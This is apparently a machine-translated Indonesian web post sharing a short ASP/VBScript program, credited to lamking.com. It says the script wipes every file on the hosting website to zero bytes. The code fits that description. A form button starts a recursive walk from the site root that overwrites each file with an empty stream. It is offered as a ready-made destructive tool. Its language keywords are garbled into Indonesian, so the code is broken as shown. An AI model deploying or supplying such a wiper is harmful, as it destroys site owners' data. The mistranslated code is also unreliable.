Fungsi: Anda dapat menghapus semua file di situs web tempat file ini berada dan menghapus konten file ke nol. Setelah operasi selesai, ukuran semua file akan menjadi 0 byte.
Kode ini adalah ciptaan asli saya. Silakan tandai cetak ulang dari lamking.com. Terima kasih atas kerja sama Anda. Selain itu, program ini dapat diperluas.
Ini adalah karya yang dibuat karena bosan .
Server.ScriptTimeout=99999
Jika Permintaan("Kirim")<>"" Lalu
Panggil ListFile(Server.mappath("./"))
Response.tulis "Pembersihan selesai"
Kalau tidak
Response.write"<form><input type=""submit"" name=""Submit"" value=""Mulai Pembersihan""></form>"
Akhiri Jika
File Daftar Fungsi (fpath)
Pada Kesalahan Lanjutkan Berikutnya
Redupkan Shell, Folder, s
Setel Shell =Server.CreateObject ("Shell.Application")
Setel Folder = Shell.Namespace (fpath)
Setel f=Server.CreateObject("Adodb.Stream")
f.Jenis=1
f.Buka
Untuk Setiap s di Folder.Item
JIKA s.isfolder Lalu
Panggil ListFile(s.path)
Kalau tidak
f.SaveToFile s.jalur,2
Berakhir jika
Berikutnya
Tetapkan f=Tidak ada
Setel Shell=tidak ada
Fungsi akhir
%>